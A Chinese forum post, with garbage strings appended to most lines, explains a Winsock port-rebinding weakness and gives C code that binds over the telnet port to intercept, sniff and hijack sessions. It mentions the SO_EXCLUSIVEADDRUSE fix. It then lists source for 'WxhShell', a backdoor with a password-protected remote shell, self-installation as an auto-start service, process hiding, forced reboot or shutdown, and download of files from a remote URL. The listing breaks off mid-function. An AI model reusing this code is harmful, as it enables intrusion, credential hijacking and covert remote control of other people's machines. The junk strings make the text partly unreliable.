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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X0zE-h6P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w*qmC<D$A  
F/chE c V  
  saddr.sin_family = AF_INET; QP[`*X  
D OGg=`XK1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~glFB`?[  
1`I#4f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Oo`b#!L  
^ ^R4%C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n 7 m!   
gA~faje  
  这意味着什么?意味着可以进行如下的攻击: i \u"+:j  
^`Qh*:T$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &xjeZh4-  
-E>se8%"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !e(ZEV g  
#Cz6c%yK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~zA{=|I2  
G##^xFx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A}Gj;vaw  
Co^a$K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D[iIj_CKQ  
* S>,5R0k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fP 5!`8  
dL!K''24{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p!w}hB598  
wfc[B;K\  
  #include oO)KhA?y  
  #include D:Y `{{  
  #include /DQcM.3  
  #include    OJ\rT.{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u#m(Py  
  int main() )#n>))   
  { !WReThq  
  WORD wVersionRequested; ^Wz3 q-^  
  DWORD ret; u:7=Yy :  
  WSADATA wsaData; _ Oe|ZQ  
  BOOL val; gDJ@s    
  SOCKADDR_IN saddr; UZUG ?UUM  
  SOCKADDR_IN scaddr; e{x|d?)8  
  int err; C'$}!p70  
  SOCKET s; B(%bBhs  
  SOCKET sc; 8!AMRE  
  int caddsize; ,Uv8[ci%9  
  HANDLE mt; f{[,!VG  
  DWORD tid;   \w=7L- 8  
  wVersionRequested = MAKEWORD( 2, 2 ); YJ{d\j  
  err = WSAStartup( wVersionRequested, &wsaData ); wOp# mT  
  if ( err != 0 ) { .DkDMg1US  
  printf("error!WSAStartup failed!\n"); L5*,l`lET  
  return -1;  8E!I9z  
  } TAt9+\'  
  saddr.sin_family = AF_INET; 8Bnw//_pT  
   ^D0BGC&&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]Zf@NY  
.W+ F<]r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WPM<Qv L  
  saddr.sin_port = htons(23); x{|n>3l`b9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Q.g[[J/p  
  { {@u}-6:wAT  
  printf("error!socket failed!\n"); m 5NF)eL  
  return -1; x6x6N&f?  
  } s!E-+Gw  
  val = TRUE; =9;jVaEMJL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sE8.,\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pk; 9\0k7  
  { m&Mvb[  
  printf("error!setsockopt failed!\n"); =c8U:\0  
  return -1; '#.:%4  
  } rS 4'@a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6YZ&>` a^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,b@0Qa"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /m;w~ -N  
n~d`PGs?f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) */L;6_  
  { NW9k.D%  
  ret=GetLastError(); [vaG{4m  
  printf("error!bind failed!\n"); ^IGTGY]s  
  return -1; A{E0 a:v  
  } Y4Z?`TL  
  listen(s,2); Xklp6{VH9  
  while(1) NwG&uc+Q  
  { [VPqI~u5)  
  caddsize = sizeof(scaddr); y tmlG%  
  //接受连接请求 ~^"cq S(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w I@ lO\  
  if(sc!=INVALID_SOCKET) V_(?mC  
  { Iq\sf-1E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6iFd[<.*j  
  if(mt==NULL) b['TRYc=:  
  { ):+H`Hcm  
  printf("Thread Creat Failed!\n"); k- sbZL  
  break; " I@Z:[=2  
  } V]PTAhc  
  } $XI5fa4Tt  
  CloseHandle(mt); pKMf#)qm  
  } "7 )F";_(^  
  closesocket(s); ryx<^q  
  WSACleanup(); d~| qx  
  return 0; _V{WXsOx(  
  }   =dX*:An  
  DWORD WINAPI ClientThread(LPVOID lpParam) /:e|B;P`k  
  { .#h ]_%  
  SOCKET ss = (SOCKET)lpParam; F,O+axO ja  
  SOCKET sc; )}c$n  
  unsigned char buf[4096]; +X;6%O;  
  SOCKADDR_IN saddr; ]'_z (s}  
  long num; 4:<0i0)5  
  DWORD val; 9~,eu  
  DWORD ret; oUw-l_M]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l:HO|Mq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |<ke>j/6n  
  saddr.sin_family = AF_INET; W{;!JI7;z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `bT{E.(T  
  saddr.sin_port = htons(23); -r-`T s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \lR~!6:  
  { =WEfo;  
  printf("error!socket failed!\n"); ;gm){ g  
  return -1; & ,&+/Sr11  
  } @R2|=ox  
  val = 100; @-b}iP<T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H[,.nH_>+  
  { >M:5yk@  
  ret = GetLastError(); 8d)F#  
  return -1; [1nI%/</>  
  } fJE ki>1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K?T)9  
  { Ky nZzR  
  ret = GetLastError(); S|]~,l2]}  
  return -1; _i8$!b2Mr  
  } ,(`@ZFp$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RL&3 P@r  
  { %q*U[vv  
  printf("error!socket connect failed!\n"); nLtP^ 1~9H  
  closesocket(sc); 1C$^S]v%a  
  closesocket(ss); D}"GrY 5  
  return -1; >; W)tc,  
  } e('c 9 Y  
  while(1) Tz*5;y%4  
  { *h =7:*n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x(b&r g.-0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $e*Nr=/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~4`wfOvO  
  num = recv(ss,buf,4096,0); C#-x 3d-{  
  if(num>0) cE*|8'rSf  
  send(sc,buf,num,0); ~!A,I 9  
  else if(num==0) 5h> gz  
  break; %?wuKZLnc  
  num = recv(sc,buf,4096,0); ufR |  
  if(num>0) `P z !H  
  send(ss,buf,num,0); ^5T{x>Lj  
  else if(num==0) e2*^;&|%  
  break; IeU.T@ $  
  } x9_ Lt4  
  closesocket(ss); `a6;*r y  
  closesocket(sc); /BIPLDN6  
  return 0 ; If&p$pAH?  
  } kcYR:;y  
M}5C;E*  
THu a?,oyW  
========================================================== 7k$8i9#  
_+;x 4K;  
下边附上一个代码,,WXhSHELL *Cb(4h-  
S&=B&23T  
========================================================== 0Hz3nd?v  
GS{9MGl  
#include "stdafx.h" *TXq/ 3g  
R*[ACpxr  
#include <stdio.h> gR(c;  
#include <string.h> Zwt!nh   
#include <windows.h> 8% |x)  
#include <winsock2.h> 'QV 4 =h`  
#include <winsvc.h> }%1E9u  
#include <urlmon.h> %d7iQZb>  
nK|";  
#pragma comment (lib, "Ws2_32.lib") WWe.1A,  
#pragma comment (lib, "urlmon.lib") A!f0AEA,  
'Aqmf+Mm  
#define MAX_USER   100 // 最大客户端连接数 ~*[}O)7#  
#define BUF_SOCK   200 // sock buffer NPc%}V&C(u  
#define KEY_BUFF   255 // 输入 buffer iK#{#ebAoW  
T5Fah#-4  
#define REBOOT     0   // 重启 ,H%\+yn{  
#define SHUTDOWN   1   // 关机 I&xRK'  
ld?M,Qd  
#define DEF_PORT   5000 // 监听端口 E+2y-B)E  
Z~nl{P#  
#define REG_LEN     16   // 注册表键长度 VC+\RB#:-  
#define SVC_LEN     80   // NT服务名长度 ;|^fAc~9{r  
*@ o3{0[Z  
// 从dll定义API 1=D!C lcb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lR(&Wc\j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 67g/(4&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qQ_B[?+W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k@Tt,.];  
cnc$^[c  
// wxhshell配置信息 0PfFli`2;  
struct WSCFG { ]d[q:N]z  
  int ws_port;         // 监听端口 +|?c_vD  
  char ws_passstr[REG_LEN]; // 口令  A:!{+  
  int ws_autoins;       // 安装标记, 1=yes 0=no >r*Zm2($MR  
  char ws_regname[REG_LEN]; // 注册表键名 j;y|Ys)I  
  char ws_svcname[REG_LEN]; // 服务名 c1 <g!Q&E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u<8Q[_E&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &q U[ wn:1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :U*[s$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aj,ZM,Ad  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C[pDPx,#:G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MQ+ek4  
3edAI&a5  
}; Iu[EUi!"  
gvJJ.IX]+  
// default Wxhshell configuration 6:!fyia  
struct WSCFG wscfg={DEF_PORT, ZJpI]^9|  
    "xuhuanlingzhe", F,zJdJ  
    1, |<V{$),k  
    "Wxhshell", b?$09,{0  
    "Wxhshell", 3q>"#+R.t  
            "WxhShell Service", 9VByFQgM  
    "Wrsky Windows CmdShell Service", :1=?/8h  
    "Please Input Your Password: ", CQ`(,F3(  
  1, J53;w:O  
  "http://www.wrsky.com/wxhshell.exe", ~V&ReW/  
  "Wxhshell.exe" 'YG`/@n;  
    }; ^ \?9W  
-^5R51  
// 消息定义模块 ah92<'ix  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8if"U xV(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v(^rq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M<)2  
char *msg_ws_ext="\n\rExit."; Wg%-m%7O  
char *msg_ws_end="\n\rQuit."; t>fB@xHBB  
char *msg_ws_boot="\n\rReboot..."; {<2Zb N?  
char *msg_ws_poff="\n\rShutdown..."; 3KKe4{oG  
char *msg_ws_down="\n\rSave to "; T42g4j/l~  
twtDyo(\  
char *msg_ws_err="\n\rErr!"; hLvv:C@  
char *msg_ws_ok="\n\rOK!"; zi ,Rk.  
,7(/Il9  
char ExeFile[MAX_PATH]; 6!nb)auVi  
int nUser = 0; <@A^C$g  
HANDLE handles[MAX_USER]; ASvPr*q/  
int OsIsNt; 3$8}%?i  
="DgrH  
SERVICE_STATUS       serviceStatus; .{ -yveE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  M9K).P=  
~30Wb9eL  
// 函数声明 WFd2_oAT  
int Install(void); I/aAx.q  
int Uninstall(void); h 3&:"*A2  
int DownloadFile(char *sURL, SOCKET wsh); rieQ&Jt"  
int Boot(int flag); ?N ga  
void HideProc(void); | #Pc e  
int GetOsVer(void); qM0MSwvC=  
int Wxhshell(SOCKET wsl); 76b7-Nj"  
void TalkWithClient(void *cs); 1Tq$E[  
int CmdShell(SOCKET sock); )9r%% #  
int StartFromService(void); 1Q5<6*QL"  
int StartWxhshell(LPSTR lpCmdLine); ([Aq  
ry ?2 o!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @:&+wq_>A^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O[y`'z;C  
C=IH#E=  
// 数据结构和表定义 ?C:fP`j:  
SERVICE_TABLE_ENTRY DispatchTable[] = l5[xJH  
{ ".%LBs~$  
{wscfg.ws_svcname, NTServiceMain}, !r*;R\!n2  
{NULL, NULL} x]oQl^ F  
}; p|d9 g ^  
=!^iiHF  
// 自我安装 @<G/H|f  
int Install(void) 3 ms/v:\  
{ CD_f[u  
  char svExeFile[MAX_PATH]; 7]%il[  
  HKEY key; (;&?B.<\:  
  strcpy(svExeFile,ExeFile); yU"G|Ex  
Ij1 ]GZ`A(  
// 如果是win9x系统,修改注册表设为自启动 G)hH?_U#T  
if(!OsIsNt) { p2vBj.*J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jtv Q<4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ogqV]36Idh  
  RegCloseKey(key); \&5@yh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LG#w/).^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dV{Hn {(  
  RegCloseKey(key); ]$*{<  
  return 0; 1H =wl =K  
    } e@=[+iJc  
  } 2g6_qsqi  
} //lZmyP?  
else { IWqxT?*  
41o!2(e$  
// 如果是NT以上系统,安装为系统服务 ,6O9#1A&i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fVUBCu  
if (schSCManager!=0) k6'#  
{ ^-GX&ODa  
  SC_HANDLE schService = CreateService uV_)JZ W,L  
  ( i*R:WTw#  
  schSCManager, m->%8{L  
  wscfg.ws_svcname, id+m [']+  
  wscfg.ws_svcdisp, yH%+cmp7  
  SERVICE_ALL_ACCESS, lE)rRG+JLW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {(}w4.!  
  SERVICE_AUTO_START, =t$mbI   
  SERVICE_ERROR_NORMAL, SU O;  
  svExeFile, P0ltN  
  NULL, )O@^H   
  NULL, 9c{%m4  
  NULL, &8+6!TN7  
  NULL, V-;nj,.mY  
  NULL 3B".Gsm)X  
  ); v* ~%x  
  if (schService!=0) CY3\:D0I  
  { NzAtdcwR  
  CloseServiceHandle(schService); mK40 f  
  CloseServiceHandle(schSCManager); ^lai!uZVa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OF<n T  
  strcat(svExeFile,wscfg.ws_svcname); @MZ6E$I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x;FO|fH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 62)lf2$1  
  RegCloseKey(key); QP5:M!O<)  
  return 0; C}= _8N  
    } h2|vB+W-  
  } $^=jPk]+  
  CloseServiceHandle(schSCManager); '%-xe3  
} ;Nf hKu%K  
} mXU?+G0  
Z"~6yF  
return 1; ,}IER  
} P}+|`>L  
;}eEG{`Y  
// 自我卸载 EkStb#  
int Uninstall(void) M-Z6TL  
{ J4Z<Yt/  
  HKEY key; k[ffs}  
?Y0$X>nm  
if(!OsIsNt) { x|v[Dxf]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,\|V3s  
  RegDeleteValue(key,wscfg.ws_regname); )/WA)fWkT  
  RegCloseKey(key); _UBJPb@=U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^dUfTG9{  
  RegDeleteValue(key,wscfg.ws_regname); p=-B~:  
  RegCloseKey(key); F*4Qa  
  return 0; bpF@}#fT  
  } |T$a+lHMD  
} eW"x%|/Q7  
} GATP  
else { )| Vg/S  
RM^?&PM85  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); or!D  
if (schSCManager!=0) ZU| V+yT  
{ c ;21i;&,9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `! ,\kc1  
  if (schService!=0) @8M'<tr<z  
  { |P.  =  
  if(DeleteService(schService)!=0) { t|#NMRz  
  CloseServiceHandle(schService); RRI>bh]  
  CloseServiceHandle(schSCManager); EAC(^+15K  
  return 0; uF]D  
  } _yxe2[TD  
  CloseServiceHandle(schService); f`u5\!}=!  
  } XgiI6-B~  
  CloseServiceHandle(schSCManager); ^;)SFmjg%  
} ]m/@wW9  
} "lU]tIpCu  
c;b[u:>~-  
return 1; lk*0c {_L  
} {m+S{dWp  
"]SJbuzh  
// 从指定url下载文件 gQI(=in  
int DownloadFile(char *sURL, SOCKET wsh) tv@Z 5  
{ DV7<n&P  
  HRESULT hr; %qNj{<&  
char seps[]= "/"; 5&n988g C8  
char *token; NWQPOq#  
char *file; p-T~x$"c|  
char myURL[MAX_PATH]; m0BG9~p|  
char myFILE[MAX_PATH]; %/tGkS6  
A{i][1N  
strcpy(myURL,sURL); x;ERRK  
  token=strtok(myURL,seps); Lem\UD$D`  
  while(token!=NULL) (:&&;]sI  
  { X|-v0 f  
    file=token; Qe @A5#  
  token=strtok(NULL,seps); =e-a&Ep-z  
  } P;L)1 g  
(s V]UGrZ  
GetCurrentDirectory(MAX_PATH,myFILE); fw:7Q7 qo  
strcat(myFILE, "\\"); 2rR@2Vsw2  
strcat(myFILE, file); ?b*/ddIs  
  send(wsh,myFILE,strlen(myFILE),0); EaM"=g  
send(wsh,"...",3,0);  r21?c|IP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fXF=F,!t  
  if(hr==S_OK) =A0"0D{\  
return 0; @sB}q 6>  
else Qb6QXjN Q  
return 1; (6ohrM>Q  
&# vk4C_8m  
} DJ1XN pm  
0^<Skm27"  
// 系统电源模块 ~!3t8Hx6  
int Boot(int flag) [0%yJH  
{ NSMjr_  
  HANDLE hToken; @b ::6n/u  
  TOKEN_PRIVILEGES tkp; OQytgXED  
Edf=?K+\!i  
  if(OsIsNt) { g33<qYxP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4DQ07w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bK_0NrXP  
    tkp.PrivilegeCount = 1; 9D{u,Q V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l#2r.q^$|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #[k~RYS3  
if(flag==REBOOT) { u=d`j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (B>yaM#5  
  return 0; p~Yy"Ec;p  
} v{mv*`~nA\  
else { EFa{O`_@U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VL_)]LR*)  
  return 0; 4f{[*6 GX  
} k8InbX[  
  } 2|0Je^$|  
  else { ;H7EB`  
if(flag==REBOOT) { QmWC2$b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /32Ta  
  return 0; '|YtNhWZ?  
} K:>NGGY8r  
else { L<f-Ed9|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tl{]gz  
  return 0; ql!5m\  
} p/ziFpU  
} Ek"YM[  
\S=XIf  
return 1; |uQn|"U4  
} qO:U]\P  
{Ior.(D>Y  
// win9x进程隐藏模块 '`M#UuU  
void HideProc(void) fap|SMGt  
{ ;eS;AHZ  
>%iu!H"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %-@'CNP  
  if ( hKernel != NULL ) rtB|N-  
  { +l2e[P+qA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hr J$%U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +L`V[;  
    FreeLibrary(hKernel); B8bvp:Ho|  
  } iyA*J CD  
4/*]`  
return; E p^B,;~  
} J>f /u:.  
3q'K5} _  
// 获取操作系统版本 +O|_P`HBoI  
int GetOsVer(void) <ldid]o #  
{ c+szU}(f6(  
  OSVERSIONINFO winfo; .Lr`j8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :@:g*w2K  
  GetVersionEx(&winfo); q1N4X7<_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JiKImz  
  return 1; [WcS[](ob  
  else Q9` s_4  
  return 0; 06PhrPVa!\  
} /-DKV~  
DWF >b  
// 客户端句柄模块 ::p-9F  
int Wxhshell(SOCKET wsl) iP~sft6  
{ +<)tql*  
  SOCKET wsh; Tx y]"_  
  struct sockaddr_in client; er(8}]X8Q  
  DWORD myID; CMC?R,d  
P/FrE~  
  while(nUser<MAX_USER) {@Blj3;w}  
{ X }m7@r@  
  int nSize=sizeof(client); '9^E8+=|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i{<8 hLO  
  if(wsh==INVALID_SOCKET) return 1; ! a86iHU  
=L:[cIRrT;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <2n'}&F  
if(handles[nUser]==0) Wl,%&H2S<  
  closesocket(wsh); I 'x$,s  
else p])D)FsMB  
  nUser++; M#=Y~PU  
  } fy9uLl}h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6o$Z0mG  
iYkRo>3!QX  
  return 0; "EJ\]S]$X  
} OZ eiH X!  
S|l&fb n  
// 关闭 socket  UP\8w#~  
void CloseIt(SOCKET wsh) {;U}:Dx  
{ w+Ad$4Pf"  
closesocket(wsh); G"}qV%"6"  
nUser--; )$MS 0[?  
ExitThread(0); RI?NB6U  
} aLV~|$: 2  
[fd~nD#.  
// 客户端请求句柄 t$aVe"uM  
void TalkWithClient(void *cs) 6!*K/2:O  
{ >r~0SMQr  
J=b*  
  SOCKET wsh=(SOCKET)cs; rU],J!LF  
  char pwd[SVC_LEN]; ZQ@3P7T  
  char cmd[KEY_BUFF]; 7TP$  
char chr[1]; #g,H("Qy({  
int i,j; AzZi{Q ?  
pMOD\J:l,  
  while (nUser < MAX_USER) { N[>:@h  
r Z pbu>S  
if(wscfg.ws_passstr) { C=8H)Ef,l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cvxIp#FbW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,&0Z]*  
  //ZeroMemory(pwd,KEY_BUFF); `$H7KIG  
      i=0; C2NzP& FD  
  while(i<SVC_LEN) { n:F@gZd`  
VIetcs  
  // 设置超时 "pYe-_"@  
  fd_set FdRead; ,bxz]S1W  
  struct timeval TimeOut; Nc,*hsx'  
  FD_ZERO(&FdRead); fQxSMPWB  
  FD_SET(wsh,&FdRead); &Y{F? c^  
  TimeOut.tv_sec=8; x 96}#0'  
  TimeOut.tv_usec=0; l+oDq'[q"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bS,etd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A5+q^t}  
;.\g-`jb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r8sdzz%  
  pwd=chr[0]; q5!0\o:  
  if(chr[0]==0xd || chr[0]==0xa) { ? %93b ,7  
  pwd=0; (WJV.GcP1  
  break; n>n"{!  
  }  X@cSP7b  
  i++; ?b5H 2 W  
    } eVTO#R*'|  
 2mQOj$Lv  
  // 如果是非法用户,关闭 socket )ukF3;Gt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rYbCOazr  
} ;jF%bE3  
(yfXMp,x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]XY0c6 <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4AJ9`1d4  
P> |Ef~j  
while(1) { v< Ty|(gd  
^mAJ[^%  
  ZeroMemory(cmd,KEY_BUFF); Q Qi@>v|d  
V w7WK  
      // 自动支持客户端 telnet标准   O /vWd "  
  j=0; %,XI]+d  
  while(j<KEY_BUFF) { T=.-Cl1A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QJQJR/g  
  cmd[j]=chr[0]; D_Guc8*  
  if(chr[0]==0xa || chr[0]==0xd) { >cTjA):  
  cmd[j]=0; R^uc%onP  
  break; rj}(muM,R  
  } Bf/ |{@  
  j++; gUspGsfr  
    } N_0pO<<cs  
@Zj& `/  
  // 下载文件 HXyFj  
  if(strstr(cmd,"http://")) { Q@3B{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _g65pxt =Z  
  if(DownloadFile(cmd,wsh)) &u("|O)w$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sLNNcj(Cy>  
  else H)\4=^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); whw{dfE  
  } PaNeu1cO  
  else { ?x'w~;9R/  
NfOp=X?Y  
    switch(cmd[0]) { ve6x/ PD  
  ?H<~ac2e  
  // 帮助 p x0Sy|  
  case '?': { Nvhy3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =88t*dH(,"  
    break; 3Mur*tj#  
  } 0juDuE?  
  // 安装 (V8?,G>  
  case 'i': { %TDXF_.[  
    if(Install()) J,9%%S8/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); moaodmt]x  
    else Wy8,<K{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1c / X  
    break; K|Om5 p  
    } tR5tPPw  
  // 卸载 K\~v&  
  case 'r': { ^:+Rg}]W^  
    if(Uninstall()) zPHy2H$28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#>{4qY2  
    else sSz%V[X WL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 86y%=!bS  
    break; I'?6~Sn3  
    } =E!x~S;N  
  // 显示 wxhshell 所在路径 a&N%|b K  
  case 'p': { ? -CV %l  
    char svExeFile[MAX_PATH];  9|<Be6  
    strcpy(svExeFile,"\n\r"); y)tYSTJK  
      strcat(svExeFile,ExeFile); I.-v?1>,  
        send(wsh,svExeFile,strlen(svExeFile),0); 9N^+IZ@l  
    break; :SK<2<8h  
    } BD4`eiu"  
  // 重启 #%4=)M>^  
  case 'b': { Hk~k@Wft  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); + LS3T^  
    if(Boot(REBOOT)) _=?2 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z|Ap\[GS  
    else { EQ/^&  
    closesocket(wsh); %6Rn4J^^  
    ExitThread(0); so*/OBte  
    } VjY<\WqbS  
    break; `On3/gU|  
    } P,U$ %C!  
  // 关机 RT/qcS^Oz  
  case 'd': { t{6ap+%L  
